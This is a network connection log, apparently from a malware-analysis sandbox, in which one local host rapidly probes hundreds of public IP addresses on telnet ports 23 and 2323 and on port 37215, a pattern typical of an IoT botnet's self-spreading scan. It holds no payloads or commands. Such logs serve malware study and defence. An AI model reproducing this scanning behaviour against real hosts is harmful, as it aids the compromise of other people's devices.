Oct 8, 2024 20:34:56.650357962 CEST	52066	37215	192.168.2.14	41.110.87.225
Oct 8, 2024 20:34:56.650367022 CEST	34860	37215	192.168.2.14	197.42.54.201
Oct 8, 2024 20:34:56.659509897 CEST	37215	41158	197.206.159.179	192.168.2.14
Oct 8, 2024 20:34:56.659544945 CEST	37215	41972	41.231.238.172	192.168.2.14
Oct 8, 2024 20:34:56.671345949 CEST	33372	37215	192.168.2.14	156.41.157.113
Oct 8, 2024 20:34:56.671345949 CEST	44456	37215	192.168.2.14	156.243.42.146
Oct 8, 2024 20:34:56.671345949 CEST	40418	37215	192.168.2.14	197.98.75.148
Oct 8, 2024 20:34:56.671345949 CEST	35058	37215	192.168.2.14	197.29.2.213
Oct 8, 2024 20:34:56.671345949 CEST	40510	37215	192.168.2.14	41.141.39.137
Oct 8, 2024 20:34:56.671367884 CEST	51976	37215	192.168.2.14	41.253.181.180
Oct 8, 2024 20:34:56.671401024 CEST	51056	37215	192.168.2.14	156.88.55.106
Oct 8, 2024 20:34:56.676506042 CEST	37215	33372	156.41.157.113	192.168.2.14
Oct 8, 2024 20:34:56.676527977 CEST	37215	40418	197.98.75.148	192.168.2.14
Oct 8, 2024 20:34:56.676542997 CEST	37215	44456	156.243.42.146	192.168.2.14
Oct 8, 2024 20:34:56.676558018 CEST	37215	51056	156.88.55.106	192.168.2.14
Oct 8, 2024 20:34:56.676579952 CEST	33372	37215	192.168.2.14	156.41.157.113
Oct 8, 2024 20:34:56.676618099 CEST	40418	37215	192.168.2.14	197.98.75.148
Oct 8, 2024 20:34:56.676636934 CEST	44456	37215	192.168.2.14	156.243.42.146
Oct 8, 2024 20:34:56.676660061 CEST	51056	37215	192.168.2.14	156.88.55.106
Oct 8, 2024 20:34:56.676757097 CEST	51056	37215	192.168.2.14	156.88.55.106
Oct 8, 2024 20:34:56.676795006 CEST	33372	37215	192.168.2.14	156.41.157.113
Oct 8, 2024 20:34:56.676795006 CEST	33372	37215	192.168.2.14	156.41.157.113
Oct 8, 2024 20:34:56.677328110 CEST	33696	37215	192.168.2.14	156.41.157.113
Oct 8, 2024 20:34:56.677691936 CEST	40418	37215	192.168.2.14	197.98.75.148
Oct 8, 2024 20:34:56.677691936 CEST	40418	37215	192.168.2.14	197.98.75.148
Oct 8, 2024 20:34:56.677968979 CEST	40740	37215	192.168.2.14	197.98.75.148
Oct 8, 2024 20:34:56.678380013 CEST	44456	37215	192.168.2.14	156.243.42.146
Oct 8, 2024 20:34:56.678380013 CEST	44456	37215	192.168.2.14	156.243.42.146
Oct 8, 2024 20:34:56.678675890 CEST	44782	37215	192.168.2.14	156.243.42.146
Oct 8, 2024 20:34:56.681839943 CEST	37215	33372	156.41.157.113	192.168.2.14
Oct 8, 2024 20:34:56.682703018 CEST	37215	40418	197.98.75.148	192.168.2.14
Oct 8, 2024 20:34:56.682876110 CEST	37215	51056	156.88.55.106	192.168.2.14
Oct 8, 2024 20:34:56.682919979 CEST	51056	37215	192.168.2.14	156.88.55.106
Oct 8, 2024 20:34:56.683641911 CEST	37215	44456	156.243.42.146	192.168.2.14
Oct 8, 2024 20:34:56.723493099 CEST	37215	33372	156.41.157.113	192.168.2.14
Oct 8, 2024 20:34:56.723510027 CEST	37215	44456	156.243.42.146	192.168.2.14
Oct 8, 2024 20:34:56.723525047 CEST	37215	40418	197.98.75.148	192.168.2.14
Oct 8, 2024 20:34:56.970141888 CEST	23	34198	67.23.229.115	192.168.2.14
Oct 8, 2024 20:34:56.970521927 CEST	34198	23	192.168.2.14	67.23.229.115
Oct 8, 2024 20:34:56.971065998 CEST	34402	23	192.168.2.14	67.23.229.115
Oct 8, 2024 20:34:56.971400976 CEST	48168	2323	192.168.2.14	104.91.169.0
Oct 8, 2024 20:34:56.971415043 CEST	48168	23	192.168.2.14	187.124.194.250
Oct 8, 2024 20:34:56.971424103 CEST	48168	23	192.168.2.14	98.33.27.236
Oct 8, 2024 20:34:56.971424103 CEST	48168	23	192.168.2.14	94.155.27.101
Oct 8, 2024 20:34:56.971437931 CEST	48168	23	192.168.2.14	62.50.248.40
Oct 8, 2024 20:34:56.971441031 CEST	48168	23	192.168.2.14	170.232.2.57
Oct 8, 2024 20:34:56.971452951 CEST	48168	23	192.168.2.14	59.143.199.52
Oct 8, 2024 20:34:56.971456051 CEST	48168	23	192.168.2.14	174.247.233.41
Oct 8, 2024 20:34:56.971462965 CEST	48168	23	192.168.2.14	118.244.225.46
Oct 8, 2024 20:34:56.971472979 CEST	48168	23	192.168.2.14	40.83.24.122
Oct 8, 2024 20:34:56.971472979 CEST	48168	2323	192.168.2.14	101.250.166.222
Oct 8, 2024 20:34:56.971473932 CEST	48168	23	192.168.2.14	144.65.123.197
Oct 8, 2024 20:34:56.971472979 CEST	48168	23	192.168.2.14	139.23.160.116
Oct 8, 2024 20:34:56.971479893 CEST	48168	23	192.168.2.14	78.163.234.0
Oct 8, 2024 20:34:56.971486092 CEST	48168	23	192.168.2.14	97.164.218.12
Oct 8, 2024 20:34:56.971494913 CEST	48168	23	192.168.2.14	8.159.40.3
Oct 8, 2024 20:34:56.971494913 CEST	48168	23	192.168.2.14	148.168.141.127
Oct 8, 2024 20:34:56.971503019 CEST	48168	23	192.168.2.14	181.193.2.164
Oct 8, 2024 20:34:56.971509933 CEST	48168	23	192.168.2.14	192.103.130.52
Oct 8, 2024 20:34:56.971513033 CEST	48168	23	192.168.2.14	20.17.209.32
Oct 8, 2024 20:34:56.971523046 CEST	48168	2323	192.168.2.14	126.155.16.246
Oct 8, 2024 20:34:56.971534967 CEST	48168	23	192.168.2.14	58.21.30.72
Oct 8, 2024 20:34:56.971535921 CEST	48168	23	192.168.2.14	198.222.211.111
Oct 8, 2024 20:34:56.971554041 CEST	48168	23	192.168.2.14	213.86.11.62
Oct 8, 2024 20:34:56.971554041 CEST	48168	23	192.168.2.14	74.122.105.253
Oct 8, 2024 20:34:56.971564054 CEST	48168	23	192.168.2.14	170.116.124.170
Oct 8, 2024 20:34:56.971573114 CEST	48168	23	192.168.2.14	34.4.122.48
Oct 8, 2024 20:34:56.971580029 CEST	48168	23	192.168.2.14	153.180.218.158
Oct 8, 2024 20:34:56.971585989 CEST	48168	23	192.168.2.14	87.60.80.193
Oct 8, 2024 20:34:56.971599102 CEST	48168	23	192.168.2.14	190.4.107.246
Oct 8, 2024 20:34:56.971601009 CEST	48168	23	192.168.2.14	117.37.217.253
Oct 8, 2024 20:34:56.971606016 CEST	48168	23	192.168.2.14	53.94.252.44
Oct 8, 2024 20:34:56.971609116 CEST	48168	2323	192.168.2.14	63.60.203.240
Oct 8, 2024 20:34:56.971620083 CEST	48168	23	192.168.2.14	14.48.50.255
Oct 8, 2024 20:34:56.971627951 CEST	48168	23	192.168.2.14	17.1.124.54
Oct 8, 2024 20:34:56.971630096 CEST	48168	23	192.168.2.14	35.34.79.231
Oct 8, 2024 20:34:56.971637964 CEST	48168	23	192.168.2.14	212.157.187.236
Oct 8, 2024 20:34:56.971645117 CEST	48168	23	192.168.2.14	194.139.40.45
Oct 8, 2024 20:34:56.971659899 CEST	48168	23	192.168.2.14	1.195.157.236
Oct 8, 2024 20:34:56.971659899 CEST	48168	23	192.168.2.14	173.220.83.113
Oct 8, 2024 20:34:56.971663952 CEST	48168	2323	192.168.2.14	69.238.20.19
Oct 8, 2024 20:34:56.971668959 CEST	48168	23	192.168.2.14	46.174.150.25
Oct 8, 2024 20:34:56.971672058 CEST	48168	23	192.168.2.14	116.240.62.112
Oct 8, 2024 20:34:56.971682072 CEST	48168	23	192.168.2.14	209.249.218.79
Oct 8, 2024 20:34:56.971682072 CEST	48168	23	192.168.2.14	70.183.233.110
Oct 8, 2024 20:34:56.971682072 CEST	48168	23	192.168.2.14	82.232.123.155
Oct 8, 2024 20:34:56.971684933 CEST	48168	23	192.168.2.14	63.92.145.203
Oct 8, 2024 20:34:56.971698046 CEST	48168	23	192.168.2.14	44.18.162.72
Oct 8, 2024 20:34:56.971698999 CEST	48168	23	192.168.2.14	4.224.209.250
Oct 8, 2024 20:34:56.971705914 CEST	48168	23	192.168.2.14	192.187.24.172
Oct 8, 2024 20:34:56.971726894 CEST	48168	23	192.168.2.14	145.31.47.142
Oct 8, 2024 20:34:56.971726894 CEST	48168	23	192.168.2.14	200.193.10.36
Oct 8, 2024 20:34:56.971729040 CEST	48168	2323	192.168.2.14	149.124.206.12
Oct 8, 2024 20:34:56.971734047 CEST	48168	23	192.168.2.14	193.113.186.147
Oct 8, 2024 20:34:56.971735001 CEST	48168	23	192.168.2.14	14.44.61.153
Oct 8, 2024 20:34:56.971735001 CEST	48168	23	192.168.2.14	4.173.44.139
Oct 8, 2024 20:34:56.971741915 CEST	48168	23	192.168.2.14	150.194.132.245
Oct 8, 2024 20:34:56.971745968 CEST	48168	23	192.168.2.14	61.72.150.84
Oct 8, 2024 20:34:56.971745968 CEST	48168	23	192.168.2.14	141.73.185.230
Oct 8, 2024 20:34:56.971755028 CEST	48168	2323	192.168.2.14	210.246.149.178
Oct 8, 2024 20:34:56.971756935 CEST	48168	23	192.168.2.14	107.71.17.93
Oct 8, 2024 20:34:56.971761942 CEST	48168	23	192.168.2.14	81.132.64.84
Oct 8, 2024 20:34:56.971771002 CEST	48168	23	192.168.2.14	169.181.185.152
Oct 8, 2024 20:34:56.971777916 CEST	48168	23	192.168.2.14	76.80.82.166
Oct 8, 2024 20:34:56.971788883 CEST	48168	23	192.168.2.14	122.164.43.73
Oct 8, 2024 20:34:56.971788883 CEST	48168	23	192.168.2.14	203.33.221.190
Oct 8, 2024 20:34:56.971790075 CEST	48168	23	192.168.2.14	95.172.15.196
Oct 8, 2024 20:34:56.971800089 CEST	48168	23	192.168.2.14	109.18.141.122
Oct 8, 2024 20:34:56.971803904 CEST	48168	23	192.168.2.14	176.58.217.105
Oct 8, 2024 20:34:56.971816063 CEST	48168	23	192.168.2.14	98.239.194.255
Oct 8, 2024 20:34:56.971827030 CEST	48168	2323	192.168.2.14	176.189.238.169
Oct 8, 2024 20:34:56.971829891 CEST	48168	23	192.168.2.14	61.133.40.137
Oct 8, 2024 20:34:56.971832037 CEST	48168	23	192.168.2.14	63.32.176.125
Oct 8, 2024 20:34:56.971848965 CEST	48168	23	192.168.2.14	124.213.135.211
Oct 8, 2024 20:34:56.971853971 CEST	48168	23	192.168.2.14	203.1.222.159
Oct 8, 2024 20:34:56.971859932 CEST	48168	23	192.168.2.14	97.33.175.33
Oct 8, 2024 20:34:56.971859932 CEST	48168	23	192.168.2.14	35.110.134.182
Oct 8, 2024 20:34:56.971860886 CEST	48168	23	192.168.2.14	91.42.245.64
Oct 8, 2024 20:34:56.971870899 CEST	48168	23	192.168.2.14	124.158.164.83
Oct 8, 2024 20:34:56.971877098 CEST	48168	23	192.168.2.14	157.198.130.3
Oct 8, 2024 20:34:56.971885920 CEST	48168	2323	192.168.2.14	71.65.43.178
Oct 8, 2024 20:34:56.971892118 CEST	48168	23	192.168.2.14	122.194.155.19
Oct 8, 2024 20:34:56.971904039 CEST	48168	23	192.168.2.14	98.171.17.174
Oct 8, 2024 20:34:56.971908092 CEST	48168	23	192.168.2.14	199.45.225.80
Oct 8, 2024 20:34:56.971915007 CEST	48168	23	192.168.2.14	126.160.219.203
Oct 8, 2024 20:34:56.971931934 CEST	48168	23	192.168.2.14	65.239.212.19
Oct 8, 2024 20:34:56.971935987 CEST	48168	23	192.168.2.14	23.145.219.142
Oct 8, 2024 20:34:56.971946955 CEST	48168	23	192.168.2.14	84.129.53.83
Oct 8, 2024 20:34:56.971955061 CEST	48168	23	192.168.2.14	217.226.138.53
Oct 8, 2024 20:34:56.971955061 CEST	48168	23	192.168.2.14	39.160.193.203
Oct 8, 2024 20:34:56.971962929 CEST	48168	2323	192.168.2.14	46.48.253.52
Oct 8, 2024 20:34:56.971967936 CEST	48168	23	192.168.2.14	97.167.174.161
Oct 8, 2024 20:34:56.971976995 CEST	48168	23	192.168.2.14	39.39.236.125
Oct 8, 2024 20:34:56.971985102 CEST	48168	23	192.168.2.14	186.197.163.64
Oct 8, 2024 20:34:56.971992970 CEST	48168	23	192.168.2.14	118.213.97.157
Oct 8, 2024 20:34:56.971992970 CEST	48168	23	192.168.2.14	34.121.247.207
Oct 8, 2024 20:34:56.972003937 CEST	48168	23	192.168.2.14	171.121.98.192
Oct 8, 2024 20:34:56.972007990 CEST	48168	23	192.168.2.14	48.33.36.26
Oct 8, 2024 20:34:56.972021103 CEST	48168	2323	192.168.2.14	98.14.110.61
Oct 8, 2024 20:34:56.972022057 CEST	48168	23	192.168.2.14	53.103.53.196
Oct 8, 2024 20:34:56.972026110 CEST	48168	23	192.168.2.14	200.183.41.83
Oct 8, 2024 20:34:56.972035885 CEST	48168	23	192.168.2.14	105.153.70.24
Oct 8, 2024 20:34:56.972040892 CEST	48168	23	192.168.2.14	118.247.65.77
Oct 8, 2024 20:34:56.972043037 CEST	48168	23	192.168.2.14	23.55.166.89
Oct 8, 2024 20:34:56.972043037 CEST	48168	23	192.168.2.14	213.200.5.179
Oct 8, 2024 20:34:56.972059011 CEST	48168	23	192.168.2.14	157.13.173.74
Oct 8, 2024 20:34:56.972059011 CEST	48168	23	192.168.2.14	191.41.146.199
Oct 8, 2024 20:34:56.972059011 CEST	48168	23	192.168.2.14	99.226.159.6
Oct 8, 2024 20:34:56.972071886 CEST	48168	23	192.168.2.14	161.254.165.29
Oct 8, 2024 20:34:56.972080946 CEST	48168	23	192.168.2.14	19.213.156.47
Oct 8, 2024 20:34:56.972090006 CEST	48168	2323	192.168.2.14	72.171.246.144
Oct 8, 2024 20:34:56.972090006 CEST	48168	23	192.168.2.14	151.30.156.183
Oct 8, 2024 20:34:56.972093105 CEST	48168	23	192.168.2.14	120.28.101.35
Oct 8, 2024 20:34:56.972105026 CEST	48168	23	192.168.2.14	71.238.242.27
Oct 8, 2024 20:34:56.972107887 CEST	48168	23	192.168.2.14	73.160.54.178
Oct 8, 2024 20:34:56.972117901 CEST	48168	23	192.168.2.14	44.66.240.28
Oct 8, 2024 20:34:56.972121954 CEST	48168	23	192.168.2.14	196.191.220.242
Oct 8, 2024 20:34:56.972125053 CEST	48168	23	192.168.2.14	194.240.76.128
Oct 8, 2024 20:34:56.972134113 CEST	48168	23	192.168.2.14	96.58.4.223
Oct 8, 2024 20:34:56.972146988 CEST	48168	23	192.168.2.14	161.175.166.16
Oct 8, 2024 20:34:56.972148895 CEST	48168	23	192.168.2.14	73.136.45.90
Oct 8, 2024 20:34:56.972150087 CEST	48168	2323	192.168.2.14	122.80.57.7
Oct 8, 2024 20:34:56.972165108 CEST	48168	23	192.168.2.14	200.95.247.240
Oct 8, 2024 20:34:56.972170115 CEST	48168	23	192.168.2.14	82.29.113.155
Oct 8, 2024 20:34:56.972178936 CEST	48168	23	192.168.2.14	63.206.252.201
Oct 8, 2024 20:34:56.972186089 CEST	48168	23	192.168.2.14	53.131.114.57
Oct 8, 2024 20:34:56.972198009 CEST	48168	23	192.168.2.14	155.165.241.96
Oct 8, 2024 20:34:56.972198009 CEST	48168	23	192.168.2.14	95.144.93.106
Oct 8, 2024 20:34:56.972199917 CEST	48168	23	192.168.2.14	95.207.11.80
Oct 8, 2024 20:34:56.972207069 CEST	48168	23	192.168.2.14	61.117.21.82
Oct 8, 2024 20:34:56.972215891 CEST	48168	2323	192.168.2.14	115.102.69.167
Oct 8, 2024 20:34:56.972220898 CEST	48168	23	192.168.2.14	48.55.193.238
Oct 8, 2024 20:34:56.972228050 CEST	48168	23	192.168.2.14	141.188.30.231
Oct 8, 2024 20:34:56.972234011 CEST	48168	23	192.168.2.14	218.116.188.254
Oct 8, 2024 20:34:56.972244978 CEST	48168	23	192.168.2.14	61.46.191.208
Oct 8, 2024 20:34:56.972246885 CEST	48168	23	192.168.2.14	158.157.148.111
Oct 8, 2024 20:34:56.972246885 CEST	48168	23	192.168.2.14	173.108.223.173
Oct 8, 2024 20:34:56.972258091 CEST	48168	23	192.168.2.14	84.4.55.138
Oct 8, 2024 20:34:56.972266912 CEST	48168	23	192.168.2.14	8.161.8.162
Oct 8, 2024 20:34:56.972269058 CEST	48168	23	192.168.2.14	162.193.60.58
Oct 8, 2024 20:34:56.972281933 CEST	48168	2323	192.168.2.14	70.239.11.53
Oct 8, 2024 20:34:56.972289085 CEST	48168	23	192.168.2.14	78.151.42.206
Oct 8, 2024 20:34:56.972289085 CEST	48168	23	192.168.2.14	31.211.141.63
Oct 8, 2024 20:34:56.972289085 CEST	48168	23	192.168.2.14	163.194.189.67
Oct 8, 2024 20:34:56.972301960 CEST	48168	23	192.168.2.14	74.41.103.67
Oct 8, 2024 20:34:56.972305059 CEST	48168	23	192.168.2.14	220.15.231.124
Oct 8, 2024 20:34:56.972309113 CEST	48168	23	192.168.2.14	168.254.39.204
Oct 8, 2024 20:34:56.972312927 CEST	48168	23	192.168.2.14	201.167.166.196
Oct 8, 2024 20:34:56.972318888 CEST	48168	23	192.168.2.14	12.15.58.237
Oct 8, 2024 20:34:56.972331047 CEST	48168	2323	192.168.2.14	74.193.45.94
Oct 8, 2024 20:34:56.972338915 CEST	48168	23	192.168.2.14	149.32.174.215
Oct 8, 2024 20:34:56.972345114 CEST	48168	23	192.168.2.14	57.60.243.72
Oct 8, 2024 20:34:56.972345114 CEST	48168	23	192.168.2.14	166.62.2.12
Oct 8, 2024 20:34:56.972353935 CEST	48168	23	192.168.2.14	115.219.83.42
Oct 8, 2024 20:34:56.972353935 CEST	48168	23	192.168.2.14	76.45.67.167
Oct 8, 2024 20:34:56.972366095 CEST	48168	23	192.168.2.14	222.168.84.35
Oct 8, 2024 20:34:56.972369909 CEST	48168	23	192.168.2.14	173.45.131.105
Oct 8, 2024 20:34:56.972373009 CEST	48168	23	192.168.2.14	72.45.5.242
Oct 8, 2024 20:34:56.972385883 CEST	48168	23	192.168.2.14	46.63.194.213
Oct 8, 2024 20:34:56.972388983 CEST	48168	23	192.168.2.14	114.254.249.169
Oct 8, 2024 20:34:56.982449055 CEST	23	34198	67.23.229.115	192.168.2.14
Oct 8, 2024 20:34:56.982469082 CEST	23	34402	67.23.229.115	192.168.2.14
Oct 8, 2024 20:34:56.982481956 CEST	23	48168	187.124.194.250	192.168.2.14
Oct 8, 2024 20:34:56.982502937 CEST	2323	48168	104.91.169.0	192.168.2.14
Oct 8, 2024 20:34:56.982512951 CEST	23	48168	59.143.199.52	192.168.2.14
Oct 8, 2024 20:34:56.982522964 CEST	23	48168	98.33.27.236	192.168.2.14
Oct 8, 2024 20:34:56.982534885 CEST	23	48168	62.50.248.40	192.168.2.14
Oct 8, 2024 20:34:56.982546091 CEST	23	48168	170.232.2.57	192.168.2.14
Oct 8, 2024 20:34:56.982553005 CEST	34402	23	192.168.2.14	67.23.229.115
Oct 8, 2024 20:34:56.982557058 CEST	23	48168	94.155.27.101	192.168.2.14
Oct 8, 2024 20:34:56.982558012 CEST	48168	2323	192.168.2.14	104.91.169.0
Oct 8, 2024 20:34:56.982568979 CEST	23	48168	174.247.233.41	192.168.2.14
Oct 8, 2024 20:34:56.982573032 CEST	48168	23	192.168.2.14	187.124.194.250
Oct 8, 2024 20:34:56.982572079 CEST	48168	23	192.168.2.14	98.33.27.236
Oct 8, 2024 20:34:56.982582092 CEST	23	48168	144.65.123.197	192.168.2.14
Oct 8, 2024 20:34:56.982593060 CEST	23	48168	118.244.225.46	192.168.2.14
Oct 8, 2024 20:34:56.982597113 CEST	48168	23	192.168.2.14	59.143.199.52
Oct 8, 2024 20:34:56.982603073 CEST	23	48168	40.83.24.122	192.168.2.14
Oct 8, 2024 20:34:56.982609034 CEST	48168	23	192.168.2.14	174.247.233.41
Oct 8, 2024 20:34:56.982610941 CEST	48168	23	192.168.2.14	62.50.248.40
Oct 8, 2024 20:34:56.982614040 CEST	2323	48168	101.250.166.222	192.168.2.14
Oct 8, 2024 20:34:56.982614994 CEST	48168	23	192.168.2.14	94.155.27.101
Oct 8, 2024 20:34:56.982614994 CEST	48168	23	192.168.2.14	144.65.123.197
Oct 8, 2024 20:34:56.982628107 CEST	48168	23	192.168.2.14	170.232.2.57
Oct 8, 2024 20:34:56.982630968 CEST	23	48168	78.163.234.0	192.168.2.14
Oct 8, 2024 20:34:56.982639074 CEST	48168	23	192.168.2.14	118.244.225.46
Oct 8, 2024 20:34:56.982645988 CEST	23	48168	139.23.160.116	192.168.2.14
Oct 8, 2024 20:34:56.982654095 CEST	48168	23	192.168.2.14	40.83.24.122
Oct 8, 2024 20:34:56.982654095 CEST	48168	2323	192.168.2.14	101.250.166.222
Oct 8, 2024 20:34:56.982656002 CEST	23	48168	97.164.218.12	192.168.2.14
Oct 8, 2024 20:34:56.982666969 CEST	23	48168	8.159.40.3	192.168.2.14
Oct 8, 2024 20:34:56.982666969 CEST	48168	23	192.168.2.14	78.163.234.0
Oct 8, 2024 20:34:56.982676029 CEST	23	48168	148.168.141.127	192.168.2.14
Oct 8, 2024 20:34:56.982686996 CEST	23	48168	181.193.2.164	192.168.2.14
Oct 8, 2024 20:34:56.982691050 CEST	48168	23	192.168.2.14	97.164.218.12
Oct 8, 2024 20:34:56.982695103 CEST	48168	23	192.168.2.14	139.23.160.116
Oct 8, 2024 20:34:56.982697010 CEST	23	48168	20.17.209.32	192.168.2.14
Oct 8, 2024 20:34:56.982707024 CEST	23	48168	192.103.130.52	192.168.2.14
Oct 8, 2024 20:34:56.982709885 CEST	48168	23	192.168.2.14	148.168.141.127
Oct 8, 2024 20:34:56.982709885 CEST	48168	23	192.168.2.14	8.159.40.3
Oct 8, 2024 20:34:56.982717037 CEST	2323	48168	126.155.16.246	192.168.2.14
Oct 8, 2024 20:34:56.982728958 CEST	23	48168	198.222.211.111	192.168.2.14
Oct 8, 2024 20:34:56.982728958 CEST	48168	23	192.168.2.14	181.193.2.164
Oct 8, 2024 20:34:56.982742071 CEST	23	48168	58.21.30.72	192.168.2.14
Oct 8, 2024 20:34:56.982744932 CEST	48168	23	192.168.2.14	20.17.209.32
Oct 8, 2024 20:34:56.982744932 CEST	48168	2323	192.168.2.14	126.155.16.246
Oct 8, 2024 20:34:56.982748985 CEST	48168	23	192.168.2.14	192.103.130.52
Oct 8, 2024 20:34:56.982755899 CEST	48168	23	192.168.2.14	198.222.211.111
Oct 8, 2024 20:34:56.982764006 CEST	23	48168	74.122.105.253	192.168.2.14
Oct 8, 2024 20:34:56.982785940 CEST	23	48168	213.86.11.62	192.168.2.14
Oct 8, 2024 20:34:56.982788086 CEST	48168	23	192.168.2.14	58.21.30.72
Oct 8, 2024 20:34:56.982796907 CEST	23	48168	170.116.124.170	192.168.2.14
Oct 8, 2024 20:34:56.982805967 CEST	48168	23	192.168.2.14	74.122.105.253
Oct 8, 2024 20:34:56.982815981 CEST	23	48168	34.4.122.48	192.168.2.14
Oct 8, 2024 20:34:56.982819080 CEST	48168	23	192.168.2.14	213.86.11.62
Oct 8, 2024 20:34:56.982827902 CEST	23	48168	153.180.218.158	192.168.2.14
Oct 8, 2024 20:34:56.982836962 CEST	48168	23	192.168.2.14	170.116.124.170
Oct 8, 2024 20:34:56.982846975 CEST	23	48168	87.60.80.193	192.168.2.14
Oct 8, 2024 20:34:56.982863903 CEST	48168	23	192.168.2.14	34.4.122.48
Oct 8, 2024 20:34:56.982875109 CEST	48168	23	192.168.2.14	153.180.218.158
Oct 8, 2024 20:34:56.982878923 CEST	48168	23	192.168.2.14	87.60.80.193
Oct 8, 2024 20:34:57.253937960 CEST	23	46692	119.202.20.29	192.168.2.14
Oct 8, 2024 20:34:57.254373074 CEST	46692	23	192.168.2.14	119.202.20.29
Oct 8, 2024 20:34:57.254874945 CEST	46900	23	192.168.2.14	119.202.20.29
Oct 8, 2024 20:34:57.259336948 CEST	23	46692	119.202.20.29	192.168.2.14
Oct 8, 2024 20:34:57.259934902 CEST	23	46900	119.202.20.29	192.168.2.14
Oct 8, 2024 20:34:57.259993076 CEST	46900	23	192.168.2.14	119.202.20.29
Oct 8, 2024 20:34:57.599390984 CEST	42514	37215	192.168.2.14	41.126.206.191
Oct 8, 2024 20:34:57.599391937 CEST	49006	37215	192.168.2.14	197.68.74.133
Oct 8, 2024 20:34:57.599396944 CEST	38178	37215	192.168.2.14	41.132.104.150
Oct 8, 2024 20:34:57.599442959 CEST	46582	37215	192.168.2.14	197.216.205.44
Oct 8, 2024 20:34:57.599442959 CEST	34060	37215	192.168.2.14	41.131.40.164
Oct 8, 2024 20:34:57.599443913 CEST	47336	37215	192.168.2.14	156.26.171.128
Oct 8, 2024 20:34:57.599443913 CEST	48998	37215	192.168.2.14	41.249.12.127
Oct 8, 2024 20:34:57.599446058 CEST	37690	37215	192.168.2.14	197.72.206.33
Oct 8, 2024 20:34:57.599447012 CEST	52722	37215	192.168.2.14	197.58.175.124
Oct 8, 2024 20:34:57.599447012 CEST	54546	37215	192.168.2.14	41.168.12.102
Oct 8, 2024 20:34:57.599443913 CEST	40262	37215	192.168.2.14	156.42.166.221
Oct 8, 2024 20:34:57.599447012 CEST	39894	37215	192.168.2.14	41.150.102.212
Oct 8, 2024 20:34:57.599443913 CEST	44096	37215	192.168.2.14	156.196.127.99
Oct 8, 2024 20:34:57.599447012 CEST	34024	37215	192.168.2.14	156.226.59.25
Oct 8, 2024 20:34:57.599447966 CEST	59442	37215	192.168.2.14	197.76.150.216
Oct 8, 2024 20:34:57.599450111 CEST	36556	37215	192.168.2.14	197.163.232.58
Oct 8, 2024 20:34:57.599447966 CEST	33972	37215	192.168.2.14	41.113.31.144
Oct 8, 2024 20:34:57.599447966 CEST	60550	37215	192.168.2.14	156.240.192.197
Oct 8, 2024 20:34:57.599447966 CEST	40430	37215	192.168.2.14	156.185.63.71
Oct 8, 2024 20:34:57.599450111 CEST	48040	37215	192.168.2.14	41.1.145.144
Oct 8, 2024 20:34:57.599447966 CEST	51628	37215	192.168.2.14	156.80.45.236
Oct 8, 2024 20:34:57.599450111 CEST	46782	37215	192.168.2.14	41.149.36.112
Oct 8, 2024 20:34:57.599464893 CEST	54602	37215	192.168.2.14	156.9.173.133
Oct 8, 2024 20:34:57.599464893 CEST	49546	37215	192.168.2.14	197.69.143.158
Oct 8, 2024 20:34:57.599464893 CEST	45060	37215	192.168.2.14	41.218.37.60
Oct 8, 2024 20:34:57.599468946 CEST	37822	37215	192.168.2.14	156.190.184.19
Oct 8, 2024 20:34:57.599468946 CEST	39984	37215	192.168.2.14	197.22.60.61
Oct 8, 2024 20:34:57.599498034 CEST	53964	37215	192.168.2.14	197.41.200.182
Oct 8, 2024 20:34:57.599498034 CEST	46152	37215	192.168.2.14	197.107.207.131
Oct 8, 2024 20:34:57.599498034 CEST	46260	37215	192.168.2.14	156.166.209.196
Oct 8, 2024 20:34:57.599498034 CEST	55492	37215	192.168.2.14	197.55.132.116
Oct 8, 2024 20:34:57.599498034 CEST	42472	37215	192.168.2.14	156.60.195.206
Oct 8, 2024 20:34:57.599509001 CEST	54646	37215	192.168.2.14	156.161.55.245
Oct 8, 2024 20:34:57.599528074 CEST	52292	37215	192.168.2.14	156.126.200.175
Oct 8, 2024 20:34:57.599528074 CEST	37934	37215	192.168.2.14	156.143.124.66
Oct 8, 2024 20:34:57.599528074 CEST	51348	37215	192.168.2.14	197.116.210.230
Oct 8, 2024 20:34:57.604422092 CEST	37215	42514	41.126.206.191	192.168.2.14
Oct 8, 2024 20:34:57.604433060 CEST	37215	49006	197.68.74.133	192.168.2.14
Oct 8, 2024 20:34:57.604480982 CEST	37215	38178	41.132.104.150	192.168.2.14
Oct 8, 2024 20:34:57.604491949 CEST	37215	46582	197.216.205.44	192.168.2.14
Oct 8, 2024 20:34:57.604501009 CEST	37215	34060	41.131.40.164	192.168.2.14
Oct 8, 2024 20:34:57.604511976 CEST	37215	37690	197.72.206.33	192.168.2.14
Oct 8, 2024 20:34:57.604521036 CEST	37215	48998	41.249.12.127	192.168.2.14
Oct 8, 2024 20:34:57.604526997 CEST	42514	37215	192.168.2.14	41.126.206.191
Oct 8, 2024 20:34:57.604532957 CEST	37215	47336	156.26.171.128	192.168.2.14
Oct 8, 2024 20:34:57.604532957 CEST	49006	37215	192.168.2.14	197.68.74.133
Oct 8, 2024 20:34:57.604537010 CEST	38178	37215	192.168.2.14	41.132.104.150
Oct 8, 2024 20:34:57.604545116 CEST	37215	54546	41.168.12.102	192.168.2.14
Oct 8, 2024 20:34:57.604548931 CEST	34060	37215	192.168.2.14	41.131.40.164
Oct 8, 2024 20:34:57.604554892 CEST	37215	40262	156.42.166.221	192.168.2.14
Oct 8, 2024 20:34:57.604563951 CEST	48998	37215	192.168.2.14	41.249.12.127
Oct 8, 2024 20:34:57.604567051 CEST	46582	37215	192.168.2.14	197.216.205.44
Oct 8, 2024 20:34:57.604568005 CEST	47336	37215	192.168.2.14	156.26.171.128
Oct 8, 2024 20:34:57.604574919 CEST	37690	37215	192.168.2.14	197.72.206.33
Oct 8, 2024 20:34:57.604574919 CEST	54546	37215	192.168.2.14	41.168.12.102
Oct 8, 2024 20:34:57.604600906 CEST	40262	37215	192.168.2.14	156.42.166.221
Oct 8, 2024 20:34:57.604717970 CEST	42514	37215	192.168.2.14	41.126.206.191
Oct 8, 2024 20:34:57.604737997 CEST	38178	37215	192.168.2.14	41.132.104.150
Oct 8, 2024 20:34:57.604756117 CEST	49006	37215	192.168.2.14	197.68.74.133
Oct 8, 2024 20:34:57.604763031 CEST	37690	37215	192.168.2.14	197.72.206.33
Oct 8, 2024 20:34:57.604798079 CEST	48169	37215	192.168.2.14	156.126.147.159
Oct 8, 2024 20:34:57.604810953 CEST	48169	37215	192.168.2.14	197.53.81.109
Oct 8, 2024 20:34:57.604809999 CEST	48169	37215	192.168.2.14	197.224.174.122
